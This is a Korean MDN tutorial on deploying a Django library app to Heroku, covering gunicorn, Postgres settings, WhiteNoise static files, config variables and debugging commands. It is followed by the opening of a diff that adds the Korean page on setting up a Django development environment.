Heroku는 현재까지 가장 오래 운영된 서비스들중 하나이며, 인기있는 클라우드기반 PaaS 서비스이다. 원래는 Ruby 앱들만 지원했지만, 현재는 많은 프로그래밍 환경의 앱들을 지원할수 있으며, 여기에는 Django 또한 포함된다!

+ +

우리는 다음과 같은 이유로 Heroku 를 사용하기로 결정했다:

+ + + +

Heroku로 이 예제를 호스팅 하는데는 부족함이 없겠지만, 당신이 개발하고자 하는 실제 웹사이트의 요구조건에는 부족할 수도 있다. Heroku는 설치하여 사용하고 확장하기는 쉽지만 대신 모든 요구조건을 충족할 정도로 유연하지는 않으며 일단 무료 단계를 벗어나면 당신의 요구조건을 만족시키기 위해 좀더  비싼 비용을 요구할 가능성이 잠재되어있다.

+ +

Heroku는 어떻게 동작하는가?

+ +

Heroku는 Django 웹사이트를 한 개이상의 "다이노(Dyno)"에서 실행한다.  다이노란 고립적이고, 가상화된 Unix 콘테이너이며 어플리케이션을 실행하는데 필요한 환경을 제공한다. 다이노는 완전히 고립적이며 ephemeral 다이노가 재시작될 때마다 깨끗이 비워지는 단기 수명의 ) 파일 시스템을 가지고 있다. 다이노간에 공유하는 유일한 항목은 어플리케이션 설정 변수 이다. Heroku 는 웹 트래픽을 모든 "웹" 다이노들로 분배하기 위해 내부적으로 로드 밸런서를 사용한다. 다이노들간에 공유하는것이 없기때문에 Heroku는 단지 다이노를 좀더 추가하는 것으로 앱을 수평적으로 확장할 수있다. ( 사실은 당연히 추가적인 접속자를 받기위해 다이노 뿐만 아니라 데이타베이스도 확장할 필요가 있긴 하다).

+ +

파일 시스템이 단기 수명의 특성이 있어서, 어플리케이션에 필요한 서비스(즉, 데이타베이스, 큐, 캐싱 시스템, 저장공간, 이메일 서비스 등등) 를 직접 설치할 수는 없다.  대신에 Heroku 웹 어플리케이션들은 Heroku나 써드파티로 부터 제공되는 독립적인 "애드온"들로 부터의 지원 서비스를 이용한다. 일단 애드온이 웹 어플리케이션에 부착되면, 다이노는 어플리케이션 설정 변수에 포함된 정보를 사용하여 서비스에 접속한다. 

+ +

어플리케이션을 실행하기위해서, Heroku는 적절한 환경과 의존성을 셋업하고 어떻게 런칭되는지 이해할 필요가 있다. Django 앱에 대해서는 아래 정보를 몇개의 텍스트 파일로 제공한다.

+ + + +

개발자들은 Unix bash 스크립트와 매우 유사한, 특별한 클라이언트 앱/터미널로 Heroku와 통신한다. 이 도구는 git 저장소에 보관된 코드를 업로드 할수 있도록 지원하며, 실행중인 프로세스의 모니터링과, 로그를 보고 환경변수를 설정하는등 그외 많은 일을 할수 있도록 지원한다!

+ +

Heroku 상에서 어플리케이션을 실행하기 위해서는 Django 웹 어플리케이션을 git 저장소에 보관하고, 위에서 언급한 파일을 추가하며, 데이터베이스 애드온과 통합하고, 스태틱 파일을 다룰수 있도록 수정할 필요가 있다.

+ +

일단 Heroku 계정에서 준비할수 있는 모든것을 완료 했으니, Heroku 클라이언트를 다운로드 받아서 웹 사이트를 설치하라.

+ +
+

주목할 점: 아래 지시사항은 이 글을 쓸 당시의 Heroku로 작업하는 방법을 반영했다. Heroku 서비스의 절차가 상당히 많이 바뀐다면, 이글 대신 다음링크의 Heroku 문서를 참조하는 것이 좋다: Django로 Heroku 시작하기.

+
+ +

이것으로 시작을 하기위한 준비를 모두 마친다. ( 좀 더 포괄적인 이해를 위해서는 Heroku의 동작 방식(Heroku 문서) 가이드를 참고하라).

+ +

 Github에 애플리케이션 저장소(repository) 생성하기

+ +

Heroku는 git 형상관리 시스템과 밀접하게 통합되어있는데, git을 이용하여 활성화된 시스템에 수정사항의 업로드및 동기화를 수행한다. git은 Heroku 클라우드 상에서 당신의 소스코드 저장소를 가리키도록 이름붙여진 신규 heroku "원격" 저장소를 추가함으로 이 작업을 수행한다. 개발기간동안 "master" 저장소에 변경사항을 저장하기 위에 git을 사용하게된다. 사이트를 배포할 때가 되면, Heroku 저장소에 수정사항을 동기화 한다.

+ +
+

주목할 점:  좋은 소프트웨어 개발 예제를 따라서 작성하는데 익숙하다면, 아마도 당신은 이미 git 이나 다른 SCM 도구를 사용하고 있을 것이다. 당신이 이미 git 저장소를 소유하고 있다면, 이 단계를 건너뛰어도 좋다.

+
+ +

git 으로 작업하는 수많은 방법이 있지만, Github에 계정을 생성하여, 저장소를 생성하고, 로컬 컴퓨터와 동기화 하는것이 가장 쉬운 방법중 하나이다 :

+ +
    +
  1. 이곳( https://github.com/ )을 방문하여 계정을 생성하라.
  2. +
  3. 로그인 해서 꼭대기 툴바의 + 링크를 클릭하여 New repository를 선택하라.
  4. +
  5. 이 폼의 모든 필드에 기입하라. 그렇지 않으면 진행이 불가한 것은 아니지만, 모두 채울것을 강력 추천한다. +
      +
    • 새로운 저장소 이름 (예시: django_local_library)과 설명 (예시: "Local Library website written in Django")을 입력하라.
    • +
    • "Add .gitignore" 선택 목록에서 "Python"을 선택하라.
    • +
    • "Add a license" 선택 목록에서 선호하는 라이센스 유형을 선택하라.
    • +
    • "Initialize this repository with a README." 체크박스에 체크하라
    • +
    +
  6. +
  7. Create repository" 버튼을 누른다
  8. +
  9. 신규 저장소 페이지에서 초록색의  "Clone or download" 버튼을 클릭한다.
  10. +
  11. 아래와 같은 형태의 URL 값을 다이얼로그 박스내의 텍스트 필드에서 복사한다.(예시: https://github.com/<your_git_user_id>/django_local_library.git).
  12. +
+ +

이제 원격 저장소 ("repo")가 생성되었으니 로컬 컴퓨터에 복제(clone)하길 원할 것이다:

+ +
    +
  1. git을 로컬 컴퓨터에 설치하라 (플랫폼별 버전은 이곳 에서 찾을 수 있다).
  2. +
  3. 커맨드 프롬프트/터미널 을 열고 위에서 복사한 URL을 이용하여 저장소 내용을 복제(clone) 한다 : +
    git clone https://github.com/<your_git_user_id>/django_local_library.git
    +
    + 이 명령은 현재 프롬프트의 위치에 저장소를 생성할 것이다.
  4. +
  5. 새로운 저장소 위치로 이동한다. +
    cd django_local_library.git
    +
  6. +
+ +

마지막 단계는 어플리케이션을 복사하여 git을 이용해 저장소에 파일을 추가하는 것이다 :

+ +
    +
  1. 이 폴더에 Django 어플리케이션을 복사해 넣는다. (locallibrary 폴더를 포함한 위치가 아니라 manage.py 와 그 하위 폴더와 같은 위치의 모든 파일에  대해 작업한다).
  2. +
  3. .gitignore 파일을 열어서, 아래 코드를 맨 밑에 복사하고, 저장하라 ( 이 파일은 기본 설정에 의해 git에 저장되지 말아야할 파일을 구분하는데 사용된다). +
    # Text backup files
    +*.bak
    +
    +#Database
    +*.sqlite3
    +
  4. +
  5. 커맨드 프로프트/터미널을 열고 add명령으로 모든 파일을 git에 등록한다. +
    git add -A
    +
    +
  6. +
  7. status 명령을 사용하여 등록하고자 하는 파일이 맞는지 확인한다 ( 당신은 소스파일만 등록 하길 원하고 바이너리나 임시 파일은 원치 않을 것이다). 명령을 실행하면 아래와 유사하게 나온다. +
    > git status
    +On branch master
    +Your branch is up-to-date with 'origin/master'.
    +Changes to be committed:
    +  (use "git reset HEAD <file>..." to unstage)
    +
    +        modified:   .gitignore
    +        new file:   catalog/__init__.py
    +        ...
    +        new file:   catalog/migrations/0001_initial.py
    +        ...
    +        new file:   templates/registration/password_reset_form.html
    +
  8. +
  9. 위의 결과에 만족했다면, commit 명령으로 파일의 로컬 저장소 등록을 확정한다: +
    git commit -m "First version of application moved into github"
    +
  10. +
  11. 다음 명령을 이용하여 Github 웹사이트와 로컬 저장소를 동기화 한다: +
    git push origin master
    +
  12. +
+ +

이런 작업이 완료된 후, repo를 생성한 Github 페이지로 다시 가서, 페이지를 새로 로딩하여, 전체 어플리케이션이 모두 업로드된것인지 확인할 수 있어야 한다. 이후로 파일 변경 사항이 발생하면 add/commit/push 순서로 명령을 사용하여 저장소를 업데이트 할 수 있다.

+ +
+

한가지 팁: 이쯤에서 당신의 "변형 없이 순수한(vanilla)" 프로젝트를 백업하는것이 좋다. - 이어지는 섹션에서 해볼 작업들은 어떤 플랫폼(혹은 개발작업) 에서는 유용하지만 다른 곳에서는 그렇지 않을 수 있기 때문이다.

+ +

백업을 하는 가장 좋은 방법은 git을 사용하여 관리하는 것이다. git을 사용하면, 특정 구 버전으로 갈수 있을 뿐만 아니라, 이것을 운영관련 변경사항으로 부터 분리된 "브랜치(branch)"로 유지보수할 수있고, 운영 브랜치와 개발 브랜치간에 좋은 부분만 선별하여 적용할 수 있다. Git 공부하기 는 수고를 들여 배울가치가 있지만 이 글의 주제를 벗어난다.

+ +

백업을 하는 가장 쉬운방법은 단순히 파일을 다른 위치에  복제하는 것이다. 당신의 git 관련 지식에 맞춰, 어떤 방법이든 사용하도록 하자 !

+
+ +

Heroku에 맞춰 앱을 수정하기

+ +

이번 섹션에서는 LocalLibray 어플리케이션이 Heroku상에서 작동할 수 있도록 수정할 필요가 있는 변경사항에 대해 설명한다. Heroku 문서인 Django로 Heroku 시작해보기 에서 나온 지시사항들은 당신이 로컬 개발 환경의 실행 또한 Heroku 클라이언트를 사용할 것으로 가정하고 있지만, 우리가 여기서 제시할 변경사항은 기존의 Django 개발 서버및 이제껏 배워온 작업방식과 호환될 것이다.

+ +

Procfile 작성하기

+ +

어플리케이션의 프로세스 타입과 엔트리 포인트를 선언하기 위해  GiHub 저장소의 root 폴더에  Procfile 파일을 (확장자 없이 ) 생성한다. 아래 문장을 해당 파일에 작성한다:

+ +
web: gunicorn locallibrary.wsgi --log-file -
+ +

"web:" 구문은 Heroku에게 이것이 웹 다이노이며 HTTP 트래픽을 받을수 있다는 것을 알려준다. 이 다이노에서 시작할 프로세스는 gunicorn 인데 Heroku가 추천하는 인기있는 웹 어플리케이션 서버이다. locallibrary.wsgi ( 어플리케이션 뼈대로 생성된: /locallibrary/wsgi.py모듈의 설정 정보를 이용하여 Gunicorn을 구동시킨다.

+ +

Gunicorn 설치하기

+ +

Gunicorn 은 Django와 함께 사용되는 용도로 Heroku에서 추천되는 HTTP server 이다  (바로 위의 Procfile 에서 미리 본 바와 같다). 하나의 다이노에서 여러개의 Python 동시 프로세스를 실행할 수 있는 WSGI 어플리케이션을 위한 순수 Python으로 작성된 HTTP server 다. ( 추가 정보를 얻으려면  Gunicorn으로 Python 어플리케이션 배포하기 ( Heroku 문서) 참고하라).

+ +

개발기간중에는 LocalLibrary 어플리케이션을 서비스하기 위해 Gunicorn을 필요로 하진 않겠지만, Heroku에서 원격 서버를 셋업하기 위한 요구조건 의 일부이므로 Gunicorn을 설치할 것이다. 

+ +

아래와 같이 커맨드라인에서 pip를 이용하여 Gunicorn 설치한다 (pip는 개발 환경 구축하기 단계에서 설치했다):

+ +
pip3 install gunicorn
+
+ +

Database 설정하기

+ +

디폴트로 설정되었던 SQLite 데이타베이스는 Heroku에서는 사용할 수 없다. 이유는 SQLite가 파일 베이스로 동작하는 시스템인데, Heroku는 단기-수명(ephemeral) 파일 시스템을 사용하므로 어플리케이션이 재시작되면 파일이 삭제되기 때문이다 ( 보통 하루에 한 번, 어플리케이션이나 그에 딸린 설정 변수가 변경되면 재시작 된다) . 

+ +

이런 상황에 대처하는 Heroku의 메커니즘은 database 애드온을 사용하고 애드온에 의해 설정되는 환경 설정 변수로 부터의 정보를 이용하여 웹 어플리케이션을 설정하는 것이다. 많은 데이타베이스 옵션이 있지만, Heroku postgres 데이터베이스의 Hobby tier를 사용할것인데, 이것은 무료이고, Django가 지원하며, 무료 hobby dyno plan tier를 사용할 때 신규 Heroku 앱에 자동으로 추가된다.

+ +

데이터베이스 연결 정보는 DATABASE_URL 라는 설졍변수를 사용해 웹 다이노에 제공된다. Heroku는 , 이 정보를 Django에 하드 코딩 해넣기 보다는, 개발자들이 dj-database-url 패키지를 사용하여 DATABASE_URL 환경 변수를 분석하여 자동적으로 Django가 원하는 설정 형식으로 변환하는 것을 추천한다. dj-database-url 패키지를 설치하는것에 외에도, Django에서 Postgres 데이터베이스로 작업하기 위해서는 psycopg2 도 설치해야 한다.

+ +
dj-database-url (환경 변수를 통한 Django 데이터베이스 설정 ) 설치하기
+ +

Heroku에서 원격 서버에 설치하기 위한  요구조건의 일부가 되었으니, dj-database-url 를 로컬에 설치한다:

+ +
$ pip3 install dj-database-url
+
+ +
settings.py 수정하기
+ +

/locallibrary/settings.py 를 열고 아래 설정코드를 파일의 맨 밑에 복사해 넣는다:

+ +
# Heroku: Update database configuration from $DATABASE_URL.
+import dj_database_url
+db_from_env = dj_database_url.config(conn_max_age=500)
+DATABASES['default'].update(db_from_env)
+ +
+

주목할 점:

+ + +
+ +
psycopg2 (Python Postgres 데이터베이스 지원용) 설치하기
+ +

Django에서 Postgres 데이터베이스로 작업하기 위해서는 psycopg2 가 필요하므로 Heroku에 원격 서버를 생성하기 위해서는( 아래 요구조건 섹션에 논의된 바와 같이) requirements.txt 파일에 이 항목을 추가할 필요가 있다.

+ +

환경 변수가 로컬 환경에서 존재하지 않기 때문에, 로컬에서 Django는 디폴트로 SQLite를 사용할 것이다. 당신이 Postgres로 완전히 전환해서 개발과 운영 모두 Heroku 무료 단계 데이터베이스를 사용하길 원한다면 그렇게 할 수 있다. 예를 들면, Linux 기반 시스템에 psycopg2와 관련 모듈을 설치하려면, 아래 bash/터미널 명령을 사용하면 된다:

+ +
sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib
+pip3 install psycopg2
+
+ +

다른 플랫폼에 대한 설치방법은 이곳 psycopg2 웹사이트 에서 찾아볼 수 있다.

+ +

하지만, 당신이 Heroku에 사이트를 적용하기 위한 ( requirements.txt (아래에 나옴)에서) 요구조건 으로서만 맞추려고 한다면, 굳이 이렇게 PostGreSQL을 로컬 컴퓨터에 설치할 필요까지는 없다.

+ +

운영환경에서 정적 파일(static file) 지원하기

+ +

개발 단계동안 Django와 Django 개발용 웹 서버를 사용하여 정적 파일을 지원해 왔다 (CSS, JavaScript, 등등.). 운영 환경에서는 보통 콘텐츠 전달 네트웍 ( CDN) 이나 웹서버에서 정적 파일을 지원한다.

+ +
+

주목할 점: Django/웹 어플리케이션으로 직접 정적 파일을 지원하는 것은 비효율적이다. 웹서버에 의해 직접 조작되거나 CDN으로 완전히 분리하는 것에 비해,  불필요한 추가적인 코드가 요청(requests)에 추가되기 때문이다. 이런 사항은 로컬에서 진행되는 개발단계에서는 영향이 크진 않지만, 운영 단계에서 같은 방식으로 사용하려 한다면 심각한 성능저하 상황이 발생할 수 있다. 

+
+ +

Django 웹 어플리케이션으로부터 분리하여 정적파일을 쉽게 호스팅하기 위해, Django는 개발용 정적 파일을 수집하는 collectstatic 도구를 제공한다 (collectstatic이 실행될 때 어느곳에서 파일이 수집되어야 하는지 정의한 설정 변수들이 있다). Django 템플릿은 정적 파일 종류의 호스팅 위치를 STATIC_URL 설정 변수로 알려주며, 정적 파일의 위치가 다른 호스트/서버로 이동되면 여기서 바꿀 수 있도록 한다.

+ +

관련 설정 변수는 다음과 같다:

+ + + +
settings.py 수정하기
+ +

/locallibrary/settings.py 파일을 열고 아래 설정을 파일의 맨 밑으로 복사한다. BASE_DIR 는 파일에 이미 정의되어 있었어야 한다. ( STATIC_URL 도 설정파일이 생성될 때 정의되었을 것이다. 중복되는 이전의 설정은, 지우지 않아도 문제는 없겠지만, 제거하는 것이 좋다).

+ +
# Static files (CSS, JavaScript, Images)
+# https://docs.djangoproject.com/en/2.0/howto/static-files/
+
+# The absolute path to the directory where collectstatic will collect static files for deployment.
+STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
+
+# The URL to use when referring to static files (where they will be served from)
+STATIC_URL = '/static/'
+
+ +

실제로는, 다음 섹션에서 설치하고 설정할, WhiteNoise 라는 이름의 라이브러리를 이용하여 파일을 관리할 것이다.

+ +

더 많은 정보가 필요하면  Django and Static Assets (Heroku docs) 를 참고한다.

+ +

Whitenoise 적용하기

+ +

운영환경에서 정적 파일을 관리하기 위한 수많은 방법이 있다 (바로 앞 섹션에서 관련된 Django 설정을 봤다). Heroku는 WhiteNoise 프로젝트를 이용하여 운영환경의 Gunicorn상에서 직접 정적 자원을 관리하는 것을 추천한다.

+ +
+

주목할 점: Heroku는 자동적으로 collectstatic을 호출하고 사용자 어플리케이션을 업로드한 후 WhiteNoise로 정적파일을 사용할 수 있도록 준비한다. WhiteNoise의 동작 방식과 이 도구를 적용하는 것이 좀더 효율적인 이유에 대한 설명은 WhiteNoise 문서를 참조한다.

+
+ +

본 프로젝트에 WhiteNoise를 적용하는 단계적 방법은 다음과 같다 :

+ +
WhiteNoise 설치하기
+ +

아래 명령으로 whitenoise를 로컬에 설치한다 :

+ +
$ pip3 install whitenoise
+
+ +
settings.py 수정하기
+ +

사용자 Django 어플리케이션에 WhiteNoise를 설치하기 위해, /locallibrary/settings.py 를 열고, MIDDLEWARE 설정을 찾아서 SecurityMiddleware 바로 밑의 목록의 윗부분에  WhiteNoiseMiddleware 를 추가 한다 :

+ +
MIDDLEWARE = [
+    'django.middleware.security.SecurityMiddleware',
+    'whitenoise.middleware.WhiteNoiseMiddleware',
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    'django.middleware.common.CommonMiddleware',
+    'django.middleware.csrf.CsrfViewMiddleware',
+    'django.contrib.auth.middleware.AuthenticationMiddleware',
+    'django.contrib.messages.middleware.MessageMiddleware',
+    'django.middleware.clickjacking.XFrameOptionsMiddleware',
+]
+
+ +

선택 사항으로, 파일이 서빙될 때 정적 파일의 크기를 줄일 수 있다. (이 방식이 좀더 효율적이다). Just add the following to the bottom of /locallibrary/settings.py:

+ +
# Simplified static file serving.
+# https://warehouse.python.org/project/whitenoise/
+STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'
+
+ +

파이썬 관련 라이브러리 (Requirements) 설치하기

+ +

웹 어플리케이션의 Python 관련 라이브러리들은 저장소의 루트에 위치한 requirements.txt 라는 파일에 저장되어야 한다. 그러면 Heroku는 환경을 재구성할 때 이 패키지들을 자동적으로 설치할 것이다. 커맨드 라인에서 pip 명령을 이용해 이 파일을 생성할 수 있다. ( 아래 명령을 repo 루트 디렉토리에서 실행한다):

+ +
pip3 freeze > requirements.txt
+ +

여러가지 관련 라이브러리를 위에서 설치했다면,  requirements.txt 파일은 최소한 아래 나열된 항목들을 가지고 있어야 한다. ( 버전 숫자는 다를수도 있다). 명확히 이 어플리케이션을 위해 설치한것이 아니라면 , 아래 목록을 제외한 라이브러리는 지우는 것이 좋다.

+ +
dj-database-url==0.4.1
+Django==2.0
+gunicorn==19.6.0
+psycopg2==2.6.2
+whitenoise==3.2.2
+
+ +
+

위 목록에  psycopg2 줄이 있다는 것을 주의해야 한다! 로컬환경에서 이 라이브러리를 설치한 적이 없더라도 이 줄은 requirements.txt 파일에 추가해야 한다.

+
+ +

Runtime 파일 추가하기

+ +

runtime.txt 파일이 존재한다면 Heroku에게 웹사이트에서 사용할 프로그래밍 언어를 알려준다. 아래 문구를 추가하여 저장소의 루트에 runtime.txt 파일을 생성한다:

+ +
python-3.6.4
+ +
+

주목할 점: Heroku가 지원하는  Python 실행버전 ( 이 글을 쓰는 당시에는 위 버전을 포함한다)은 그리 많지 않다. Heroku는 이 파일에 지정된 버전에 개의치 않고 지원되는 실행버전을 사용할 것이다.

+
+ +

Github에 변경사항을 저장하고 테스트 다시하기

+ +

다음으로 모든 변경사항을 Github에 저장하자. 아래 명령을 ( 저장소 범위내 위치에서) 터미널에 입력한다 :

+ +
git add -A
+git commit -m "Added files and changes required for deployment to heroku"
+git push origin master
+ +

계속 진행하기전에, 로컬에서 사이트를 다시 테스트 해서 위의 변경사항에 의해 영향받은부분이 없는지 확인한다. 지금까지 해온 것 처럼 개발용 웹 서버를 실행하고 브라우저 상에서 여전히 기대한 대로 동작하는지 체크한다.

+ +
python3 manage.py runserver
+ +

이제 Heroku에 LocalLibrary의 배포를 시작할 준비가 다 되었다.

+ +

Heroku 계정 생성하기

+ +

Heroku 이용을 시작 하려면 계정을 한 개 생성해야 한다 :

+ + + +

client 설치하기

+ +

여기의 Heroku 지시사항 에 따라 Heroku 클라이언트를 다운로드하고 설치하라.

+ +

클라이언트를 설치한후에 명령어를 실행할 수 있다. 예를 들면, 클라이언트에 대한 도움말을 얻고 싶다면 아래 명령을 실행한다:

+ +
heroku help
+
+ +

웹사이트를 생성하고 업로드하기

+ +

앱을 생성하기 위해 "create" 명령을 저장소의 루트 디렉토리에서 실행한다. 이명령은 로컬 컴퓨터의 git 환경에 heroku라는 이름의 git의 원격 저장소(remote) ("원격 저장소의 지정자(pointer)")를 생성한다.

+ +
heroku create
+ +
+

주목할 점: 원한다면 원격 저장소(remote)에 이름을 붙일 수 있는데 . "create" 다음에 값을 추가하면 된다. 아무것도 붙이지 않으면 랜덤으로 생성된 이름을 가진다. 이 이름은 기본 URL로 사용된다.

+
+ +

그다음에 아래와 같은 명령으로 앱을 Heroku 저장소에 등록(push)할  수 있다. 이 명령은 앱을 업로드하고, 다이노안에 앱을 포장(pakage)하며, colletstatic을 실행하고 사이트가 시작 되도록 한다.

+ +
git push heroku master
+ +

운이 좋다면, 앱은 이제 사이트상에서 "실행(running)" 상태에 있게되겠지만, 어플리케이션을 위한 데이터베이스 테이블을 구성하지 않았기 때문에 제대로 동작하지 않을 것이다. 이 작업을 위해 heroku run 명령을 사용해 migrate 작업을 수행할 "one off 다이노" 를 시작시켜야 한다. 아래 명령을 터미널에 입력하라 :

+ +
heroku run python manage.py migrate
+ +

책과 저자도 추가할 수 있어야 하니까 다시 one-off 다이노를 이용하여 관리자 아이디 또한 생성하자:

+ +
heroku run python manage.py createsuperuser
+ +

일단 이 작업이 완료되면, 사이트를 볼 수 있다. 아직 아무 책도 없긴 하지만 사이트가 동작한다. 신규 웹사이트를 브라우저로 보고 싶으면 아래 명령을 사용하라 :

+ +
heroku open
+ +

admin 사이트에서 책 몇개를 생성하고 사이트가 기대한대로 동작하는지 확인하라.

+ +

애드온 관리하기

+ +

heroku addons 명령으로 앱의 애드온 적용에 대해 확인할 수 있다. 이 명령은 모든 애드온을 나열하고, 가격과 상태를 보여준다.

+ +
>heroku addons
+
+Add-on                                     Plan       Price  State
+─────────────────────────────────────────  ─────────  ─────  ───────
+heroku-postgresql (postgresql-flat-26536)  hobby-dev  free   created
+ └─ as DATABASE
+ +

여기서 단 한개의 애드온만 있는데, 바로 postgres SQL 데이터베이스 이다. 이것은 무료이고, 앱을 생성할 때 자동적으로 생성되었다. 데이터베이스 애드온을 ( 다른 어떤 애드온이라도) 좀 더 자세히 조사하기 위해 아래 명령으로 웹 페이지 열 수 있다 (open)  :

+ +
heroku addons:open heroku-postgresql
+
+ +

애드온을 생성하고(create), 제거하고(destroy), 업그레이드하고(upgrade), 다운그레이드하는(downgrade) 다른 명령들도 있다. ( 여는 명령(open)과 유사한 문법을 사용한다). 좀 더 자세한 정보는 Managing Add-ons (Heroku 문서) 를 참조하라.

+ +

구성 변수 ( configuration variables) 설정하기

+ +

heroku config 명령을 이용하여 사이트의 구성 변수를 확인할 수 있다. 아래에서 현재 한개의 변수만 가지는 것을 확인할 수있는데, DATABASE_URL 변수는 데이터베이스를 설정하는 데 사용된다.

+ +
>heroku config
+
+=== locallibrary Config Vars
+DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3
+ +

위에서 공부한 웹 사이트 공개(publish) 준비하기 섹션을 다시 떠올려보면, DJANGO_SECRET_KEY와 DJANGO_DEBUG 환경 변수를 설정해야 한다. 지금 이 작업을 하자.

+ +
+

주목할 점: secret key는 정말로 비밀이 유지되어야 한다!  새로운 키를 만들어 내는 한가지 방법은 새로운 Django 프로젝트를 생성하고 (django-admin startproject someprojectname) 신규 프로젝트의 settings.py에서 생성된 키를 가져오는 것이다.

+
+ +

DJANGO_SECRET_KEY 를 config:set 명령을 통해 설정한다(아래 예제와 같이).  당신 자신의 secret key를 사용해야 한다는 것을 기억하자!

+ +
>heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&=
+
+Setting DJANGO_SECRET_KEY and restarting locallibrary... done, v7
+DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh
+
+ +

DJANGO_DEBUG 도 유사하게 설정한다 :

+ +
>heroku config:set DJANGO_DEBUG=
+
+Setting DJANGO_DEBUG and restarting locallibrary... done, v8
+ +

지금 웹사이트를 방문한다면 "Bad request" 에러를 만나게 되는데 이것은 (보안 조치상) DEBUG=False 로 설정되어 있여서 ALLOWED_HOSTS 설정이 요구되기 때문이다. /locallibrary/settings.py 파일을 열고 아래와 같이  ALLOWED_HOSTS 설정을 수정하여 베이스 앱 url과 (예를들면, 'locallibrary1234.herokuapp.com') 로컬 개발 환경 웹서버에서 지금까지 사용해온 URL을 추가하라.

+ +
ALLOWED_HOSTS = ['<your app URL without the https:// prefix>.herokuapp.com','127.0.0.1']
+# For example:
+# ALLOWED_HOSTS = ['fathomless-scrubland-30645.herokuapp.com','127.0.0.1']
+
+ +

그다음 지금 설정한 것들을 저장하고 Github 저장소와 Herok에 반영한다 :

+ +
git add -A
+git commit -m 'Update ALLOWED_HOSTS with site and development server URL'
+git push origin master
+git push heroku master
+ +
+

Heroku에 사이트 업데이트하는 것을 완료한후, 존재하지 않는 주소URL(예를 들면, /catalog/doesnotexist/) 을 입력해 보자.  이전에는 이런 경우 자세한 설명이 담긴 디버그 페이지를 보여주었었지만, 이제는 단순한 "Not Found" 페이지가 보일것이다.

+
+ +

디버깅 하기

+ +

Heroku 클라이언트는 디버깅을 위한 몇가지 도구를 제공한다 :

+ +
heroku logs  # Show current logs
+heroku logs --tail # Show current logs and keep updating with any new results
+heroku config:set DEBUG_COLLECTSTATIC=1 # Add additional logging for collectstatic (this tool is run automatically during a build)
+heroku ps   #Display dyno status
+
+ +

이것들보다 더 자세한 정보가 필요하다면 Django Logging 을 자세히 살펴보는 것이 좋을것이다.

+ + + +

요약

+ +

이렇게 Django 앱을 운영환경에서 구성해보는 튜토리얼이 끝났고. 지금까지 공부해온 Django 튜토리얼 시리즈도 이것으로 마무리가 되었다. 이 시리즈가 당신에 유용한 자료이길 바란다. 앞에서 설명한 모든 단계를 커버하는 버전의, Github상의 소스 코드는 이곳에서 확인할 수 있다.
+
+ 다음 단계는 마지막으로 몇개의 기사를 읽어보고, 평가작업을 완성하는 것이다.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/server-side/django/development_environment/index.html b/files/ko/learn/server-side/django/development_environment/index.html new file mode 100644 index 0000000000..0e31882131 --- /dev/null +++ b/files/ko/learn/server-side/django/development_environment/index.html @@ -0,0 +1,439 @@ +--- +title: Django 개발 환경 세팅하기 +slug: Learn/Server-side/Django/development_environment +tags: + - 개발환경 + - 들어가기 + - 설치 + - 장고 + - 초심자 + - 파이썬 +translation_of: Learn/Server-side/Django/development_environment +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}
+ +

이제 장고가 무엇인지 알았으니, 윈도우, 리눅스(우분투), 맥 OS X에서 어떻게 장고 개발환경을 세팅하는지, 설치 후에는 어떻게 테스트하는지 살펴보겠습니다. 즉 이 문서를 통해서는 사용하고 있는 운영체제가 무엇인지와 상관없이 장고 어플리케이션 개발을 시작하기 위해 필요한 것들을 배우게 됩니다.

+ + + + + + + + + + + + +
미리 필요한 것: +

터미널 또는 커맨드 창을 열 수 있어야 합니다. 또, 자신이 사용하는 PC의 운영체제에 따라 PC에 소프트웨어 패키지를 설치할 수 있어야 합니다.

+
목표:장고가 컴퓨터에서 실행될 수 있도록 개발 환경을 세팅합니다.
+ +

장고 개발 환경 개요

+ +

장고는 개발 환경을 세팅하고 웹 어플리케이션을 개발하는 것이 매우 쉽습니다. 이 섹션에서는 개발 환경이 제공하는 것들과, 개발 환경 세팅 시 옵션 사항을 알아봅니다. 또 우분투, 맥 OS X, 윈도우에서 장고 개발 환경을 설치하는 방법과 설치 후 테스트하는 방법을 설명합니다.

+ +

장고 개발 환경이란?

+ +

장고 개발 환경이란, 장고를 로컬 컴퓨터에 설치하여 장고 어플리케이션을 개발, 실행, 테스트할 수 있는 환경을 말합니다. 로컬 컴퓨터는 자신이 어플리케이션을 개발하는데 사용하는 컴퓨터입니다. 어플리케이션을 실제 배포하기 전에 로컬 컴퓨터 위에서 어플리케이션을 실행 및 테스트할 수 있습니다.

+ +

장고 자체가 제공하는 주요 툴에는 장고 프로젝트를 생성하고 작업하기 위한 파이썬 스크립트들과 심플한 개발용 웹 서버가 있습니다. 이 개발용 웹 서버로 우리는 로컬 컴퓨터에서 개발한 장고 어플리케이션을 같은 로컬 컴퓨터에서 테스트해 볼 수 있습니다. 예를 들면, 자신의 PC에서 개발한 장고 웹 어플리케이션을 크롬 브라우저와 같은 웹 브라우저 상에서 실행하고 테스트해볼 수 있습니다.

+ +

앞서 설명한 것 외에도 장고 개발 환경은 여러 툴을 제공합니다. 코드 작성을 돕는 텍스트 에디터와 IDE, 소스코드의 버전을 안전하게 관리하기 위한 Git과 같은 소스 관리 도구와 같은 것들이 있습니다. 그러나 이것들은 여기서는 다루지 않습니다. 또 여기서는 미리 텍스트 에디터를 설치했다고 가정할 것입니다. 그러므로 텍스트 에디터를 아직 설치하지 않았다면 설치해주세요. 자주 사용하는 텍스트 에디터로는 Sublime Text 3, Gedit, Atom 등이 있습니다.

+ +

장고 설치 옵션

+ +

장고는 설치 및 구성에서 매우 유연합니다.

+ +

장고는 다음 사항이 가능합니다:

+ + + +

